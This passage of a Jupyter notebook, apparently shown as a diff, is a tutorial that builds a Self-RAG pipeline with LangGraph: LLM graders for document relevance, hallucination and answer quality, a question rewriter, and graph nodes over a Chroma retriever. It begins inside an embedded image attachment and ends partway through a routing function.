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G0Kkkm6f5VNdb6vXy9Mpy+CPNl7bZi7Y11ZVhWnJe05c/OSLMaRrarXOkyvKjTZoAAQIECBAgQIAAgV4VkOHUq7wGJ0CAAAECBAgQIECgNwXiBuHd3XauN+dRjmOzK8dVM2cCBAgQIECAAAECpSsg4FS6a2NmBAgQIECAAAECBAgQIECAAAECBAgQIECAAIGyELihLGZpkgQIECBAgAABAgQIECBAgAABAgQIECBAgAABAiUrIOBUsktjYgQIECBAgAABAgQIECBAgAABAgQIECBAgACB8hAQcCqPdTJLAgQIECBAgAABAgQIECBAgAABAgQIECBAgEDJCgg4lezSmBgBAgQIECBAgAABAgQIECBAgAABAgQIECBAoDwEBJzKY53MkgABAgQIECBAgAABAgQIECBAgAABAgQIECBQsgICTiW7NCZGgAABAgQIECBAgAABAgQIECBAgAABAgQIECgPAQGn8lgnsyRAgAABAgQIECBAgAABAgQIECBAgAABAgQIlKyAgFPJLo2JESBAgAABAgQIECBAgAABAgQIECBAgAABAgTKQ0DAqTzWySwJECBAgAABAgQIECBAgAABAgQIECBAgAABAiUrIOBUsktjYgQIECBAgAABAgQIECBAgAABAgQIECBAgACB8hAQcCqPdTJLAgQIECBAgAABAgQIECBAgAABAgQIECBAgEDJCgg4lezSmBgBAgQIECBAgAABAgQIECBAgAABAgQIECBAoDwEBJzKY53MkgABAgQIECBAgAABAgQIECBAgAABAgQIECBQsgICTiW7NCZGgAABAgQIECBAgAABAgQIECBAgAABAgQIECgPAQGn8lgnsyRAgAABAgQIECBAgAABAgQIECBAgAABAgQIlKzA/wHZpDlUM4Q3oAAAAABJRU5ErkJggg==" + } + }, + "cell_type": "markdown", + "id": "919fe33c-0149-4f7d-b200-544a18986c9a", + "metadata": {}, + "source": [ + "# Self-RAG\n", + "\n", + "Self-RAG is a strategy for RAG that incorporates self-reflection / self-grading on retrieved documents and generations. \n", + "\n", + "In the [paper](https://arxiv.org/abs/2310.11511), a few decisions are made:\n", + "\n", + "1. Should I retrieve from retriever, `R` -\n", + "\n", + "* Input: `x (question)` OR `x (question)`, `y (generation)`\n", + "* Decides when to retrieve `D` chunks with `R`\n", + "* Output: `yes, no, continue`\n", + "\n", + "2. Are the retrieved passages `D` relevant to the question `x` -\n", + "\n", + "* * Input: (`x (question)`, `d (chunk)`) for `d` in `D`\n", + "* `d` provides useful information to solve `x`\n", + "* Output: `relevant, irrelevant`\n", + "\n", + "3. Are the LLM generation from each chunk in `D` is relevant to the chunk (hallucinations, etc) -\n", + "\n", + "* Input: `x (question)`, `d (chunk)`, `y (generation)` for `d` in `D`\n", + "* All of the verification-worthy statements in `y (generation)` are supported by `d`\n", + "* Output: `{fully supported, partially supported, no support`\n", + "\n", + "4. The LLM generation from each chunk in `D` is a useful response to `x (question)` -\n", + "\n", + "* Input: `x (question)`, `y (generation)` for `d` in `D`\n", + "* `y (generation)` is a useful response to `x (question)`.\n", + "* Output: `{5, 4, 3, 2, 1}`\n", + "\n", + "We will implement some of these ideas from scratch using [LangGraph](https://langchain-ai.github.io/langgraph/).\n", + "\n", + "![Screenshot 2024-04-01 at 12.41.50 PM.png](attachment:15cba0ab-a549-4909-8373-fb761e384eff.png)" + ] + }, + { + "cell_type": "markdown", + "id": "72f3ee57-68ab-4040-bd36-4014e2a23d96", + "metadata": {}, + "source": [ + "## Setup\n", + "\n", + "First let's install our required packages and set our API keys" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "a384cc48-0425-4e8f-aafc-cfb8e56025c9", + "metadata": {}, + "outputs": [], + "source": [ + "! pip install -U langchain_community tiktoken langchain-openai langchainhub chromadb langchain langgraph" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "de4ee2a5", + "metadata": {}, + "outputs": [], + "source": [ + "import getpass\n", + "import os\n", + "\n", + "\n", + "def _set_env(key: str):\n", + " if key not in os.environ:\n", + " os.environ[key] = getpass.getpass(f\"{key}:\")\n", + "\n", + "\n", + "_set_env(\"OPENAI_API_KEY\")" + ] + }, + { + "cell_type": "markdown", + "id": "25d16369", + "metadata": {}, + "source": [ + "
\n", + "

Set up LangSmith for LangGraph development

\n", + "

\n", + " Sign up for LangSmith to quickly spot issues and improve the performance of your LangGraph projects. LangSmith lets you use trace data to debug, test, and monitor your LLM apps built with LangGraph — read more about how to get started here. \n", + "

\n", + "
" + ] + }, + { + "cell_type": "markdown", + "id": "c27bebdc-be71-4130-ab9d-42f09f87658b", + "metadata": {}, + "source": [ + "## Retriever\n", + " \n", + "Let's index 3 blog posts." + ] + }, + { + "cell_type": "code", + "execution_count": 1, + "id": "565a6d44-2c9f-4fff-b1ec-eea05df9350d", + "metadata": {}, + "outputs": [], + "source": [ + "from langchain.text_splitter import RecursiveCharacterTextSplitter\n", + "from langchain_community.document_loaders import WebBaseLoader\n", + "from langchain_community.vectorstores import Chroma\n", + "from langchain_openai import OpenAIEmbeddings\n", + "\n", + "urls = [\n", + " \"https://lilianweng.github.io/posts/2023-06-23-agent/\",\n", + " \"https://lilianweng.github.io/posts/2023-03-15-prompt-engineering/\",\n", + " \"https://lilianweng.github.io/posts/2023-10-25-adv-attack-llm/\",\n", + "]\n", + "\n", + "docs = [WebBaseLoader(url).load() for url in urls]\n", + "docs_list = [item for sublist in docs for item in sublist]\n", + "\n", + "text_splitter = RecursiveCharacterTextSplitter.from_tiktoken_encoder(\n", + " chunk_size=250, chunk_overlap=0\n", + ")\n", + "doc_splits = text_splitter.split_documents(docs_list)\n", + "\n", + "# Add to vectorDB\n", + "vectorstore = Chroma.from_documents(\n", + " documents=doc_splits,\n", + " collection_name=\"rag-chroma\",\n", + " embedding=OpenAIEmbeddings(),\n", + ")\n", + "retriever = vectorstore.as_retriever()" + ] + }, + { + "cell_type": "markdown", + "id": "29c12f74-53e2-43cc-896f-875d1c5d9d93", + "metadata": {}, + "source": [ + "## LLMs" + ] + }, + { + "cell_type": "code", + "execution_count": 2, + "id": "1fafad21-60cc-483e-92a3-6a7edb1838e3", + "metadata": {}, + "outputs": [ + { + "name": "stderr", + "output_type": "stream", + "text": [ + "/Users/rlm/miniforge3/envs/llama2/lib/python3.11/site-packages/langchain_core/_api/deprecation.py:119: LangChainDeprecationWarning: The method `BaseRetriever.get_relevant_documents` was deprecated in langchain-core 0.1.46 and will be removed in 0.3.0. Use invoke instead.\n", + " warn_deprecated(\n" + ] + }, + { + "name": "stdout", + "output_type": "stream", + "text": [ + "binary_score='yes'\n" + ] + } + ], + "source": [ + "### Retrieval Grader\n", + "\n", + "\n", + "from langchain_core.prompts import ChatPromptTemplate\n", + "from langchain_core.pydantic_v1 import BaseModel, Field\n", + "from langchain_openai import ChatOpenAI\n", + "\n", + "\n", + "# Data model\n", + "class GradeDocuments(BaseModel):\n", + " \"\"\"Binary score for relevance check on retrieved documents.\"\"\"\n", + "\n", + " binary_score: str = Field(\n", + " description=\"Documents are relevant to the question, 'yes' or 'no'\"\n", + " )\n", + "\n", + "\n", + "# LLM with function call\n", + "llm = ChatOpenAI(model=\"gpt-4o-mini\", temperature=0)\n", + "structured_llm_grader = llm.with_structured_output(GradeDocuments)\n", + "\n", + "# Prompt\n", + "system = \"\"\"You are a grader assessing relevance of a retrieved document to a user question. \\n \n", + " It does not need to be a stringent test. The goal is to filter out erroneous retrievals. \\n\n", + " If the document contains keyword(s) or semantic meaning related to the user question, grade it as relevant. \\n\n", + " Give a binary score 'yes' or 'no' score to indicate whether the document is relevant to the question.\"\"\"\n", + "grade_prompt = ChatPromptTemplate.from_messages(\n", + " [\n", + " (\"system\", system),\n", + " (\"human\", \"Retrieved document: \\n\\n {document} \\n\\n User question: {question}\"),\n", + " ]\n", + ")\n", + "\n", + "retrieval_grader = grade_prompt | structured_llm_grader\n", + "question = \"agent memory\"\n", + "docs = retriever.get_relevant_documents(question)\n", + "doc_txt = docs[1].page_content\n", + "print(retrieval_grader.invoke({\"question\": question, \"document\": doc_txt}))" + ] + }, + { + "cell_type": "code", + "execution_count": 3, + "id": "dcd77cc1-4587-40ec-b633-5364eab9e1ec", + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "The design of generative agents combines LLM with memory, planning, and reflection mechanisms to enable agents to behave conditioned on past experience and interact with other agents. Long-term memory provides the agent with the capability to retain and recall infinite information over extended periods. Short-term memory is utilized for in-context learning.\n" + ] + } + ], + "source": [ + "### Generate\n", + "\n", + "from langchain import hub\n", + "from langchain_core.output_parsers import StrOutputParser\n", + "\n", + "# Prompt\n", + "prompt = hub.pull(\"rlm/rag-prompt\")\n", + "\n", + "# LLM\n", + "llm = ChatOpenAI(model_name=\"gpt-3.5-turbo\", temperature=0)\n", + "\n", + "\n", + "# Post-processing\n", + "def format_docs(docs):\n", + " return \"\\n\\n\".join(doc.page_content for doc in docs)\n", + "\n", + "\n", + "# Chain\n", + "rag_chain = prompt | llm | StrOutputParser()\n", + "\n", + "# Run\n", + "generation = rag_chain.invoke({\"context\": docs, \"question\": question})\n", + "print(generation)" + ] + }, + { + "cell_type": "code", + "execution_count": 4, + "id": "e78931ec-940c-46ad-a0b2-f43f953f1fd7", + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "GradeHallucinations(binary_score='yes')" + ] + }, + "execution_count": 4, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "### Hallucination Grader\n", + "\n", + "\n", + "# Data model\n", + "class GradeHallucinations(BaseModel):\n", + " \"\"\"Binary score for hallucination present in generation answer.\"\"\"\n", + "\n", + " binary_score: str = Field(\n", + " description=\"Answer is grounded in the facts, 'yes' or 'no'\"\n", + " )\n", + "\n", + "\n", + "# LLM with function call\n", + "llm = ChatOpenAI(model=\"gpt-4o-mini\", temperature=0)\n", + "structured_llm_grader = llm.with_structured_output(GradeHallucinations)\n", + "\n", + "# Prompt\n", + "system = \"\"\"You are a grader assessing whether an LLM generation is grounded in / supported by a set of retrieved facts. \\n \n", + " Give a binary score 'yes' or 'no'. 'Yes' means that the answer is grounded in / supported by the set of facts.\"\"\"\n", + "hallucination_prompt = ChatPromptTemplate.from_messages(\n", + " [\n", + " (\"system\", system),\n", + " (\"human\", \"Set of facts: \\n\\n {documents} \\n\\n LLM generation: {generation}\"),\n", + " ]\n", + ")\n", + "\n", + "hallucination_grader = hallucination_prompt | structured_llm_grader\n", + "hallucination_grader.invoke({\"documents\": docs, \"generation\": generation})" + ] + }, + { + "cell_type": "code", + "execution_count": 5, + "id": "bd62276f-bf26-40d0-8cff-e07b10e00321", + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "GradeAnswer(binary_score='yes')" + ] + }, + "execution_count": 5, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "### Answer Grader\n", + "\n", + "\n", + "# Data model\n", + "class GradeAnswer(BaseModel):\n", + " \"\"\"Binary score to assess answer addresses question.\"\"\"\n", + "\n", + " binary_score: str = Field(\n", + " description=\"Answer addresses the question, 'yes' or 'no'\"\n", + " )\n", + "\n", + "\n", + "# LLM with function call\n", + "llm = ChatOpenAI(model=\"gpt-4o-mini\", temperature=0)\n", + "structured_llm_grader = llm.with_structured_output(GradeAnswer)\n", + "\n", + "# Prompt\n", + "system = \"\"\"You are a grader assessing whether an answer addresses / resolves a question \\n \n", + " Give a binary score 'yes' or 'no'. Yes' means that the answer resolves the question.\"\"\"\n", + "answer_prompt = ChatPromptTemplate.from_messages(\n", + " [\n", + " (\"system\", system),\n", + " (\"human\", \"User question: \\n\\n {question} \\n\\n LLM generation: {generation}\"),\n", + " ]\n", + ")\n", + "\n", + "answer_grader = answer_prompt | structured_llm_grader\n", + "answer_grader.invoke({\"question\": question, \"generation\": generation})" + ] + }, + { + "cell_type": "code", + "execution_count": 6, + "id": "c6f4c70e-1660-4149-82c0-837f19fc9fb5", + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "\"What is the role of memory in an agent's functioning?\"" + ] + }, + "execution_count": 6, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "### Question Re-writer\n", + "\n", + "# LLM\n", + "llm = ChatOpenAI(model=\"gpt-3.5-turbo-0125\", temperature=0)\n", + "\n", + "# Prompt\n", + "system = \"\"\"You a question re-writer that converts an input question to a better version that is optimized \\n \n", + " for vectorstore retrieval. Look at the input and try to reason about the underlying semantic intent / meaning.\"\"\"\n", + "re_write_prompt = ChatPromptTemplate.from_messages(\n", + " [\n", + " (\"system\", system),\n", + " (\n", + " \"human\",\n", + " \"Here is the initial question: \\n\\n {question} \\n Formulate an improved question.\",\n", + " ),\n", + " ]\n", + ")\n", + "\n", + "question_rewriter = re_write_prompt | llm | StrOutputParser()\n", + "question_rewriter.invoke({\"question\": question})" + ] + }, + { + "cell_type": "markdown", + "id": "276001c5-c079-4e5b-9f42-81a06704d200", + "metadata": {}, + "source": [ + "# Graph \n", + "\n", + "Capture the flow in as a graph.\n", + "\n", + "## Graph state" + ] + }, + { + "cell_type": "code", + "execution_count": 7, + "id": "f1617e9e-66a8-4c1a-a1fe-cc936284c085", + "metadata": {}, + "outputs": [], + "source": [ + "from typing import List\n", + "\n", + "from typing_extensions import TypedDict\n", + "\n", + "\n", + "class GraphState(TypedDict):\n", + " \"\"\"\n", + " Represents the state of our graph.\n", + "\n", + " Attributes:\n", + " question: question\n", + " generation: LLM generation\n", + " documents: list of documents\n", + " \"\"\"\n", + "\n", + " question: str\n", + " generation: str\n", + " documents: List[str]" + ] + }, + { + "cell_type": "code", + "execution_count": 8, + "id": "add509d8-6682-4127-8d95-13dd37d79702", + "metadata": {}, + "outputs": [], + "source": [ + "### Nodes\n", + "\n", + "\n", + "def retrieve(state):\n", + " \"\"\"\n", + " Retrieve documents\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " state (dict): New key added to state, documents, that contains retrieved documents\n", + " \"\"\"\n", + " print(\"---RETRIEVE---\")\n", + " question = state[\"question\"]\n", + "\n", + " # Retrieval\n", + " documents = retriever.get_relevant_documents(question)\n", + " return {\"documents\": documents, \"question\": question}\n", + "\n", + "\n", + "def generate(state):\n", + " \"\"\"\n", + " Generate answer\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " state (dict): New key added to state, generation, that contains LLM generation\n", + " \"\"\"\n", + " print(\"---GENERATE---\")\n", + " question = state[\"question\"]\n", + " documents = state[\"documents\"]\n", + "\n", + " # RAG generation\n", + " generation = rag_chain.invoke({\"context\": documents, \"question\": question})\n", + " return {\"documents\": documents, \"question\": question, \"generation\": generation}\n", + "\n", + "\n", + "def grade_documents(state):\n", + " \"\"\"\n", + " Determines whether the retrieved documents are relevant to the question.\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " state (dict): Updates documents key with only filtered relevant documents\n", + " \"\"\"\n", + "\n", + " print(\"---CHECK DOCUMENT RELEVANCE TO QUESTION---\")\n", + " question = state[\"question\"]\n", + " documents = state[\"documents\"]\n", + "\n", + " # Score each doc\n", + " filtered_docs = []\n", + " for d in documents:\n", + " score = retrieval_grader.invoke(\n", + " {\"question\": question, \"document\": d.page_content}\n", + " )\n", + " grade = score.binary_score\n", + " if grade == \"yes\":\n", + " print(\"---GRADE: DOCUMENT RELEVANT---\")\n", + " filtered_docs.append(d)\n", + " else:\n", + " print(\"---GRADE: DOCUMENT NOT RELEVANT---\")\n", + " continue\n", + " return {\"documents\": filtered_docs, \"question\": question}\n", + "\n", + "\n", + "def transform_query(state):\n", + " \"\"\"\n", + " Transform the query to produce a better question.\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " state (dict): Updates question key with a re-phrased question\n", + " \"\"\"\n", + "\n", + " print(\"---TRANSFORM QUERY---\")\n", + " question = state[\"question\"]\n", + " documents = state[\"documents\"]\n", + "\n", + " # Re-write question\n", + " better_question = question_rewriter.invoke({\"question\": question})\n", + " return {\"documents\": documents, \"question\": better_question}\n", + "\n", + "\n", + "### Edges\n", + "\n", + "\n", + "def decide_to_generate(state):\n", + " \"\"\"\n", + " Determines whether to generate an answer, or re-generate a question.\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " str: Binary decision for next node to call\n", + " \"\"\"\n", + "\n", + " print(\"---ASSESS GRADED DOCUMENTS---\")\n", + " state[\"question\"]\n", + " filtered_documents = state[\"documents\"]\n", + "\n", + " if not filtered_documents:\n", 